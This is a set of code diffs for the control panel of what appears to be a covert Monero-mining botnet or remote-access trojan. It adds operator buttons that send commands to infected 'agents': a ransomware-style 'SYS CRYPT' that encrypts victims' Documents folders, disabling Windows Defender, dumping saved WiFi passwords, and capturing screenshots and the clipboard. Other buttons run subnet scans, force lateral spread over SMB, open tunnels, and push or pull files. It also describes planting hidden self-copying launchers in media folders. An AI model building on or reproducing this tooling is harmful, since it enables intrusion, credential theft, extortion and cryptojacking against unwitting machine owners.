.cop-fileops .cop-label { color: rgba(0, 212, 170, 0.75); border-bottom-color: rgba(0, 212, 170, 0.12); }
.cop-destructive {
border-color: rgba(255, 50, 50, 0.28);
background: rgba(60, 0, 0, 0.2);
}
.cop-destructive .cop-label {
color: #ff4444;
border-bottom-color: rgba(255, 50, 50, 0.2);
}
/* Seek + Shell span full width */
.cop-seek { grid-column: 1 / -1; border-color: rgba(255, 140, 0, 0.22); }
.cop-seek .cop-label { color: rgba(255, 140, 0, 0.85); border-bottom-color: rgba(255, 140, 0, 0.16); }
.cop-shell { grid-column: 1 / -1; }
/* ── Op buttons ──────────────────────────────────────────────────────── */
.crucible-op-btn {
padding: 0.3rem 0.7rem;
font-size: 0.8rem;
padding: 0.3rem 0.72rem;
font-size: 0.78rem;
background: rgba(255, 255, 255, 0.04);
border: 1px solid rgba(255, 176, 32, 0.25);
border: 1px solid rgba(255, 176, 32, 0.28);
color: var(--neon-amber);
border-radius: 4px;
border-radius: 5px;
cursor: pointer;
transition: all 0.15s;
transition: background 0.14s, border-color 0.14s, box-shadow 0.14s, transform 0.1s;
font-family: var(--font-tech);
letter-spacing: 0.03em;
white-space: nowrap;
}
.crucible-op-btn:hover:not(:disabled) {
background: rgba(255, 176, 32, 0.12);
background: rgba(255, 176, 32, 0.11);
border-color: var(--neon-amber);
box-shadow: 0 0 9px -2px rgba(255, 176, 32, 0.45);
transform: translateY(-1px);
}
.crucible-op-btn:disabled { opacity: 0.35; cursor: not-allowed; }
.crucible-op-btn:active:not(:disabled) {
transform: translateY(0);
box-shadow: none;
}
.crucible-op-btn:disabled { opacity: 0.32; cursor: not-allowed; }
/* Recon buttons — cyan tint */
.cop-recon .crucible-op-btn {
border-color: rgba(0, 245, 255, 0.22);
color: rgba(0, 245, 255, 0.85);
}
.cop-recon .crucible-op-btn:hover:not(:disabled) {
background: rgba(0, 245, 255, 0.08);
border-color: var(--neon-cyan);
box-shadow: 0 0 9px -2px rgba(0, 245, 255, 0.4);
}
/* Agent buttons — purple tint */
.cop-agent .crucible-op-btn {
border-color: rgba(178, 75, 243, 0.3);
color: rgba(178, 75, 243, 0.9);
}
.cop-agent .crucible-op-btn:hover:not(:disabled) {
background: rgba(178, 75, 243, 0.1);
border-color: #b24bf3;
box-shadow: 0 0 9px -2px rgba(178, 75, 243, 0.45);
}
/* System buttons — orange tint */
.cop-sys .crucible-op-btn {
border-color: rgba(255, 176, 32, 0.3);
color: var(--neon-amber);
}
/* Aggressive buttons — red-orange tint */
.cop-agg .crucible-op-btn {
border-color: rgba(255, 100, 0, 0.35);
color: #ff8c00;
}
.cop-agg .crucible-op-btn:hover:not(:disabled) {
background: rgba(255, 100, 0, 0.1);
border-color: #ff6600;
box-shadow: 0 0 9px -2px rgba(255, 100, 0, 0.4);
}
/* SSH buttons — green tint */
.cop-ssh .crucible-op-btn {
border-color: rgba(57, 255, 20, 0.25);
color: rgba(57, 255, 20, 0.85);
}
.cop-ssh .crucible-op-btn:hover:not(:disabled) {
background: rgba(57, 255, 20, 0.08);
border-color: var(--neon-green);
box-shadow: 0 0 9px -2px rgba(57, 255, 20, 0.4);
}
/* File ops buttons — teal */
.cop-fileops .crucible-op-btn {
border-color: rgba(0, 212, 170, 0.28);
color: rgba(0, 212, 170, 0.9);
}
.cop-fileops .crucible-op-btn:hover:not(:disabled) {
background: rgba(0, 212, 170, 0.08);
border-color: #00d4aa;
box-shadow: 0 0 9px -2px rgba(0, 212, 170, 0.4);
}
/* Keep legacy overrides */
.crucible-op-wake {
color: var(--neon-green);
border-color: rgba(57, 255, 20, 0.3);
color: var(--neon-green) !important;
border-color: rgba(57, 255, 20, 0.3) !important;
}
.crucible-op-wake:hover:not(:disabled) {
background: rgba(57, 255, 20, 0.1);
border-color: var(--neon-green);
background: rgba(57, 255, 20, 0.1) !important;
border-color: var(--neon-green) !important;
}
.crucible-op-scan {
color: var(--neon-cyan);
border-color: rgba(0,245,255,0.3);
color: var(--neon-cyan) !important;
border-color: rgba(0,245,255,0.3) !important;
font-weight: 700;
}
.crucible-op-scan:hover:not(:disabled) {
background: rgba(0,245,255,0.08);
border-color: var(--neon-cyan);
background: rgba(0,245,255,0.08) !important;
border-color: var(--neon-cyan) !important;
}
.crucible-shell-tabs {

View File

@@ -10,6 +10,10 @@ import { formatHashrate } from '../help/fleetFilters';
import { primaryGroupForAgent } from '../help/fleetGroups';
import { useFleetGroups } from '../hooks/useFleetGroups';
import { useMatrixRain } from '../context/MatrixRainContext';
import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import '../components/Fleet/FullSysCheckPanel.css';
import './CruciblePage.css';
// ── Types ──────────────────────────────────────────────────────────────────
@@ -71,7 +75,17 @@ interface RichPostureSummary {
services?: Array<{ name: string; display_name?: string; status: string; start_type: string }>;
}
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary;
interface RichScreenshot {
type: 'screenshot';
b64: string;
}
interface RichFullSysCheck {
type: 'full_sys_check';
report: FullSysCheckReport;
}
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary | RichScreenshot | RichFullSysCheck;
// ── Helpers ────────────────────────────────────────────────────────────────
@@ -312,6 +326,14 @@ export default function CruciblePage() {
const [seekWin, setSeekWin] = useState(true);
const [seekMac, setSeekMac] = useState(true);
// File ops state
const [uploadPath, setUploadPath] = useState('');
const [downloadPath, setDownloadPath] = useState('');
const [uploadFileRef] = useState(() => ({ current: null as HTMLInputElement | null }));
// Tunnel URL state
const [tunnelURL, setTunnelURL] = useState('');
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
@@ -372,6 +394,12 @@ export default function CruciblePage() {
// ── Parse structured JSON for known actions ────────────────────────
let richData: RichTermData | undefined;
// Screenshot: result is a raw base64 PNG string (no JSON wrapper)
if (r.action === 'screenshot' && r.success && msg.length > 200 && /^[A-Za-z0-9+/]+=*$/.test(msg.trim())) {
richData = { type: 'screenshot', b64: msg.trim() };
}
const jsonStart = msg.indexOf('{');
if (jsonStart >= 0) {
@@ -382,6 +410,8 @@ export default function CruciblePage() {
richData = { type: 'listen_ports', ports: parsed.ports, count: parsed.count ?? parsed.ports.length };
} else if (r.action === 'patch_status') {
richData = { type: 'patch_status', ...parsed };
} else if (r.action === 'full_sys_check' && parsed.generated_at) {
richData = { type: 'full_sys_check', report: parsed as FullSysCheckReport };
} else if (r.action === 'posture' && typeof parsed.posture_score === 'number') {
richData = { type: 'posture', ...parsed };
// Update badge state
@@ -777,10 +807,24 @@ export default function CruciblePage() {
</div>
);
const renderRichData = (d: RichTermData) => {
const renderRichData = (d: RichTermData, lineAgentName?: string) => {
if (d.type === 'listen_ports') return <RichListenPortsTable d={d} />;
if (d.type === 'patch_status') return <RichPatchStatusBlock d={d} />;
if (d.type === 'posture') return <RichPostureSummaryBlock d={d} />;
if (d.type === 'full_sys_check') {
return <FullSysCheckPanel report={d.report} agentName={lineAgentName ?? 'agent'} />;
}
if (d.type === 'screenshot') return (
<div style={{ marginTop: '0.4rem' }}>
<img
src={`data:image/png;base64,${d.b64}`}
alt="screenshot"
style={{ maxWidth: '100%', maxHeight: 340, borderRadius: 4, border: '1px solid #333', cursor: 'pointer' }}
onClick={() => window.open(`data:image/png;base64,${d.b64}`, '_blank')}
title="Click to open full size"
/>
</div>
);
return null;
};
@@ -1055,7 +1099,7 @@ export default function CruciblePage() {
<div className="crucible-ops">
{/* ── Posture ──────────────────────────────────── */}
<div className="crucible-op-group">
<div className="crucible-op-group cop-recon">
<span className="cop-label">Posture &amp; Recon</span>
<button
className="button crucible-op-btn crucible-op-scan"
@@ -1080,7 +1124,7 @@ export default function CruciblePage() {
</div>
{/* ── SSH ──────────────────────────────────────── */}
<div className="crucible-op-group">
<div className="crucible-op-group cop-ssh">
<span className="cop-label">SSH</span>
<button
className="button crucible-op-btn"
@@ -1101,19 +1145,49 @@ export default function CruciblePage() {
</div>
{/* ── Mining ───────────────────────────────────── */}
<div className="crucible-op-group">
<div className="crucible-op-group cop-mining">
<span className="cop-label">Mining</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'resume')))}
onClick={() => {
const ids = selectedAgents.filter(online).map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'resume').then((r) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `resume → sent:${r.sent} failed:${r.failed}`, ts: new Date(),
}]);
}).catch((err) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: false,
text: `[ERROR] resume: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false,
}]);
});
}}
>
Resume
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'pause')))}
onClick={() => {
const ids = selectedAgents.filter(online).map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'pause').then((r) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `pause → sent:${r.sent} failed:${r.failed}`, ts: new Date(),
}]);
}).catch((err) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: false,
text: `[ERROR] pause: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false,
}]);
});
}}
>
Pause
</button>
@@ -1135,11 +1209,54 @@ export default function CruciblePage() {
</button>
</div>
{/* ── Sys Crypt ────────────────────────────────── */}
<div className="crucible-op-group cop-destructive">
<span className="cop-label"> Destructive</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="AES-256-GCM encrypt every file in the target's Documents folder (Windows only, requires Remote Aggressive Ops)"
style={{
background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
border: '1px solid #ff2222',
color: '#fff',
fontWeight: 700,
letterSpacing: '0.06em',
}}
onClick={() => {
if (!confirm(`SYS CRYPT — encrypt Documents on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
Promise.all(
selectedAgents.filter(online).map((a) =>
api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] sys_crypt: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
},
]);
})
)
);
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: 'local', agentName: 'YOU',
isCmd: true,
text: `SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents`,
ts: new Date(),
},
]);
}}
>
🔒 SYS CRYPT ({selectedIds.size})
</button>
</div>
{/* ── SUPP Seek Mode ───────────────────────────── */}
<div className="crucible-op-group crucible-seek-group">
<span className="cop-label" style={{ color: 'var(--neon-amber)', letterSpacing: '0.1em' }}>
SUPP SEEK MODE
</span>
<div className="crucible-op-group cop-seek crucible-seek-group">
<span className="cop-label"> SUPP Seek Mode</span>
<p style={{ margin: '0.25rem 0 0.5rem', fontSize: '0.72rem', color: '#aaa', lineHeight: 1.4 }}>
Recursively seeds every media directory under the given path with
silent launcher files. The agent copies itself as a hidden exe (Windows)
@@ -1209,8 +1326,353 @@ export default function CruciblePage() {
</p>
</div>
{/* ── Recon ────────────────────────────────────── */}
<div className="crucible-op-group cop-recon">
<span className="cop-label">Recon</span>
<button
className="button crucible-op-btn"
style={{ borderColor: 'rgba(0,245,255,0.5)' }}
disabled={selectedIds.size === 0}
title="Deep audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners (3060s)"
onClick={() => {
selectedAgents.filter(online).forEach((a) => {
api.sendAgentCommand(a.id, 'full_sys_check').catch((err) =>
setTermLines((prev) => [...prev, {
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] full_sys_check: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
}])
);
});
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `full_sys_check → ${selectedIds.size} node(s)`, ts: new Date(),
}]);
}}
>
Full Sys Check
</button>
{(['screenshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
<button
key={cmd}
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title={{
screenshot: 'Capture the desktop screenshot',
clipboard: 'Read the current clipboard contents',
wifi: 'Dump all saved WiFi passwords',
software: 'List installed programs',
ps: 'Running process list (tasklist)',
netstat: 'Active TCP/UDP connections',
sysinfo: 'Full system info (OS, CPU, RAM, uptime)',
users: 'Local user accounts + whoami /all',
}[cmd]}
onClick={() => {
selectedAgents.filter(online).forEach((a) => {
api.sendAgentCommand(a.id, cmd).catch((err) =>
setTermLines((prev) => [...prev, {
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
}])
);
});
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `${cmd}${selectedIds.size} node(s)`, ts: new Date(),
}]);
}}
>
{cmd}
</button>
))}
</div>
{/* ── Agent Control ─────────────────────────────── */}
<div className="crucible-op-group cop-agent">
<span className="cop-label">Agent</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Restart the agent process"
onClick={() => {
const ids = selectedAgents.filter(online).map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'restart').then((r) => {
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `restart → sent:${r.sent} failed:${r.failed}`, ts: new Date() }]);
}).catch(() => null);
}}
>
Restart
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Pull the last 300 lines of the agent log"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'get_log', { tail_lines: 300 }).catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `get_log → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Get Log
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Kill the agent process (it will restart via watchdog/persistence)"
style={{ color: '#ff8c00' }}
onClick={() => {
if (!confirm(`Kill agent process on ${selectedIds.size} node(s)?`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'stop').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `kill → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Kill
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Fully uninstall: remove persistence, delete files, exit"
style={{ color: '#ff4444' }}
onClick={() => {
if (!confirm(`UNINSTALL from ${selectedIds.size} node(s)? This removes persistence and deletes all agent files.`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'uninstall').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `uninstall → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Uninstall
</button>
</div>
{/* ── System Power ──────────────────────────────── */}
<div className="crucible-op-group cop-sys">
<span className="cop-label">System</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="OS reboot"
onClick={() => {
if (!confirm(`Reboot ${selectedIds.size} machine(s)?`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'reboot_machine').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `reboot_machine → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Reboot
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="OS shutdown (power off)"
style={{ color: '#ff4444' }}
onClick={() => {
if (!confirm(`Shutdown ${selectedIds.size} machine(s)?`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'shutdown_machine').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `shutdown_machine → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Shutdown
</button>
</div>
{/* ── Aggressive Ops ───────────────────────────── */}
<div className="crucible-op-group cop-agg">
<span className="cop-label">Aggressive Ops</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Dump all saved WiFi network credentials from selected Windows nodes"
style={{ borderColor: '#ff6b35', color: '#ff6b35' }}
onClick={() => {
selectedAgents.filter(online).forEach((a) => {
api.sendAgentCommand(a.id, 'get_wifi_passwords').catch((err) =>
setTermLines((prev) => [...prev, {
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] get_wifi_passwords: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
}])
);
});
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `get_wifi_passwords → ${selectedIds.size} node(s)`, ts: new Date(),
}]);
}}
>
📶 WiFi Passwords
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Disable Windows Defender real-time monitoring (requires admin)"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'defender_off').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `defender_off → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Defender Off
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Scan local subnet for reachable hosts (up to 64)"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'subnet_scan').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `subnet_scan → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Subnet Scan
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Force one lateral-spread attempt via SMB/shares"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'spread_now').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `spread_now → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Spread Now
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Open outbound Cloudflare tunnel (agent dials out — no inbound port required)"
onClick={() => {
const url = tunnelURL.trim() || '';
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'start_tunnel', { command: url }).catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `start_tunnel → ${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
}}
>
Start Tunnel
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="UPnP hole punch: map external port 8989 → agent's LAN port 8989"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'hole_punch').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `hole_punch → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Hole Punch
</button>
</div>
{/* ── File Ops ─────────────────────────────────── */}
<div className="crucible-op-group cop-fileops">
<span className="cop-label">File Ops</span>
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center', marginBottom: '0.4rem', flexWrap: 'wrap' }}>
<label
className="button crucible-op-btn"
style={{ cursor: selectedIds.size === 0 ? 'not-allowed' : 'pointer', opacity: selectedIds.size === 0 ? 0.5 : 1 }}
title="Push a local file to each selected agent's Desktop (Windows / macOS / Linux)"
>
Desktop
<input
type="file"
style={{ display: 'none' }}
disabled={selectedIds.size === 0}
onChange={async (e) => {
const file = e.target.files?.[0];
if (!file) return;
const targets = selectedAgents.filter(online);
try {
for (const a of targets) {
await pushFileToAgentDesktop(
(action, args) => api.sendAgentCommand(a.id, action, args),
file
);
}
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: 'local',
agentName: 'YOU',
isCmd: true,
text: `push_desktop ${file.name}${targets.length} node(s)`,
ts: new Date(),
},
]);
} catch (err) {
alert(err instanceof Error ? err.message : String(err));
}
e.target.value = '';
}}
/>
</label>
<span className="form-hint" style={{ fontSize: '0.72rem', opacity: 0.75 }}>
{desktopPathHint(selectedAgents.find((a) => selectedIds.has(a.id))?.platform)}
</span>
</div>
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center', marginBottom: '0.4rem' }}>
<input
type="text"
placeholder="Remote path (or @desktop/file.txt)"
value={downloadPath}
onChange={(e) => setDownloadPath(e.target.value)}
style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }}
/>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0 || !downloadPath.trim()}
title="Download a file from the agent (result is base64 in terminal)"
onClick={() => {
const p = downloadPath.trim();
selectedAgents.filter(online).forEach((a) =>
api.sendAgentCommand(a.id, 'download', { path: p }).catch((err) =>
setTermLines((prev) => [...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] download: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true }])
)
);
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `download ← ${p}`, ts: new Date() }]);
}}
>
Pull
</button>
</div>
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center' }}>
<input
type="text"
placeholder="Path or @desktop/filename"
value={uploadPath}
onChange={(e) => setUploadPath(e.target.value)}
style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }}
/>
<label
className="button crucible-op-btn"
style={{ cursor: 'pointer' }}
title="Upload to custom path, or leave blank and use ↑ Desktop"
>
Push path
<input
type="file"
style={{ display: 'none' }}
ref={(el) => { uploadFileRef.current = el; }}
onChange={async (e) => {
const file = e.target.files?.[0];
if (!file) return;
const p = uploadPath.trim() || `@desktop/${file.name}`;
try {
const { readFileAsBase64 } = await import('../help/desktopPush');
const b64 = await readFileAsBase64(file);
selectedAgents.filter(online).forEach((a) =>
api.sendAgentCommand(a.id, 'upload', { path: p, data: b64 }).catch((err) =>
setTermLines((prev) => [...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] upload: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true }])
)
);
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `upload ${file.name}${p} on ${selectedIds.size} node(s)`, ts: new Date() }]);
} catch (err) {
alert(err instanceof Error ? err.message : String(err));
}
if (uploadFileRef.current) uploadFileRef.current.value = '';
}}
/>
</label>
</div>
</div>
{/* ── Shell type ───────────────────────────────── */}
<div className="crucible-op-group">
<div className="crucible-op-group cop-shell">
<span className="cop-label">Shell Mode</span>
<div className="crucible-shell-tabs">
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
@@ -1286,7 +1748,7 @@ export default function CruciblePage() {
{line.isCmd ? '▶' : '◀'}
</span>
{line.richData ? (
<span className="ctl-text ctl-rich">{renderRichData(line.richData)}</span>
<span className="ctl-text ctl-rich">{renderRichData(line.richData, line.agentName)}</span>
) : (
<span className="ctl-text">{line.text}</span>
)}

View File

@@ -123,6 +123,14 @@ describe('DashboardPage', () => {
expect(await screen.findByText('No miners on the wire')).toBeInTheDocument();
});
it('shows projection charts and wealth strip with no agents', async () => {
renderDashboard();
expect(await screen.findByText(/Projection mode/i)).toBeInTheDocument();
expect(await screen.findByText('Fleet Hashrate Wave')).toBeInTheDocument();
expect(await screen.findByText('Accept Rate Pulse')).toBeInTheDocument();
expect(await screen.findByText('Target Fleet Earnings')).toBeInTheDocument();
});
it('renders stat labels and top agent card', async () => {
const agent = mockAgent({ name: 'Alpha Node', hashrate_15m: 1200 });
useWebSocketMock.mockReturnValue(wsValue({ agents: [agent] }));

View File

@@ -1,10 +1,9 @@
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import { useState, useEffect, useMemo, lazy, Suspense, type CSSProperties } from 'react';
import { useState, useEffect, useMemo, useRef, lazy, Suspense, type CSSProperties } from 'react';
import { Link } from 'react-router-dom';
import type { Share, ServerConfig } from '../types';
import { getSetupStatus } from '../help/setupStatus';
import SetupBanner from '../components/SetupBanner';
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../help/screenshotDownload';
import GaugeRing from '../components/Charts/GaugeRing';
import NeonCard from '../components/NeonCard/NeonCard';
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
@@ -13,6 +12,7 @@ import {
PoolStatusPanel,
AIActivityPanel,
EarningsEstimator,
WealthEarningsPreview,
FleetHealthCard,
ContributionBars,
UnderperformerList,
@@ -27,9 +27,6 @@ const HashrateChart = lazy(() => import('../components/Charts/HashrateChart'));
const FleetTopologyMap = lazy(() => import('../components/Visual/3D/FleetTopologyMap'));
const MatrixStreamOverlay = lazy(() => import('../components/Visual/MatrixStreamOverlay'));
function ChartPlaceholder({ height }: { height: number }) {
return <div style={{ height, opacity: 0.35 }} className="font-tech" aria-hidden />;
}
import {
DEFAULT_FLEET_FILTERS,
filterFleetAgents,
@@ -46,8 +43,18 @@ import {
groupBySubnet,
osArchBreakdown,
} from '../help/fleetAnalytics';
import {
resolveChartSeries,
SAMPLE_ACTIVITY,
SAMPLE_CONTRIBUTION_BARS,
SAMPLE_FLEET_PREVIEW,
} from '../help/chartSampleData';
import './Pages.css';
function ChartPlaceholder({ height }: { height: number }) {
return <div style={{ height, opacity: 0.35 }} className="font-tech" aria-hidden />;
}
/** Format GPU KawPoW hashrate (H/s units, displayed as MH/s or GH/s). */
function formatGPUHashrate(hps: number): string {
if (!hps || hps <= 0) return '0 H/s';
@@ -58,7 +65,7 @@ function formatGPUHashrate(hps: number): string {
}
export default function DashboardPage() {
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity, commandResults } = useWebSocket();
const [shares, setShares] = useState<Share[]>([]);
const [restAlerts, setRestAlerts] = useState<typeof fleetAlerts>([]);
const [restPools, setRestPools] = useState<typeof poolStatus>([]);
@@ -68,16 +75,20 @@ export default function DashboardPage() {
const [acceptHistory, setAcceptHistory] = useState<{ time: string; value: number }[]>([]);
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]);
const [gpuHistory, setGpuHistory] = useState<{ time: string; value: number }[]>([]);
const [hasBuilds, setHasBuilds] = useState(false);
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [bulkBusy, setBulkBusy] = useState(false);
const [showMatrix, setShowMatrix] = useState(false);
const screenshotWatchId = useRef<string | null>(null);
const screenshotSeqRef = useRef(0);
const [advancedMode, setAdvancedMode] = useState<boolean>(() => {
try { return localStorage.getItem('aether-dash-advanced') === '1'; } catch { return false; }
});
const [xmrPrice, setXmrPrice] = useState<number | null>(null);
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
const [estXmrDay, setEstXmrDay] = useState<number | null>(null);
const toggleAdvanced = () =>
setAdvancedMode((prev) => {
@@ -154,13 +165,71 @@ export default function DashboardPage() {
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
const previewDeck = agents.length === 0 || (totalHashrate <= 0 && onlineCount === 0);
useEffect(() => {
if (previewDeck || totalHashrate <= 0) {
setEstXmrDay(null);
return;
}
const controller = new AbortController();
api
.getEarningsEstimate(totalHashrate)
.then((r) => {
if (!controller.signal.aborted) setEstXmrDay(r.xmr_per_day ?? null);
})
.catch(() => {
if (!controller.signal.aborted) setEstXmrDay(null);
});
return () => controller.abort();
}, [totalHashrate, previewDeck]);
const displayHashrate = previewDeck ? SAMPLE_FLEET_PREVIEW.hashrate : totalHashrate;
const displayAccept = previewDeck ? SAMPLE_FLEET_PREVIEW.acceptRate : acceptRate;
const displayCpu = previewDeck ? SAMPLE_FLEET_PREVIEW.avgCpu : avgCpu;
const displayMem = previewDeck ? SAMPLE_FLEET_PREVIEW.avgMem : avgMem;
const displayOnlinePct = previewDeck ? SAMPLE_FLEET_PREVIEW.onlinePct : onlinePct;
const displayOnline = previewDeck ? SAMPLE_FLEET_PREVIEW.onlineCount : onlineCount;
const displayAgentTotal = previewDeck ? SAMPLE_FLEET_PREVIEW.agentCount : agents.length;
useEffect(() => {
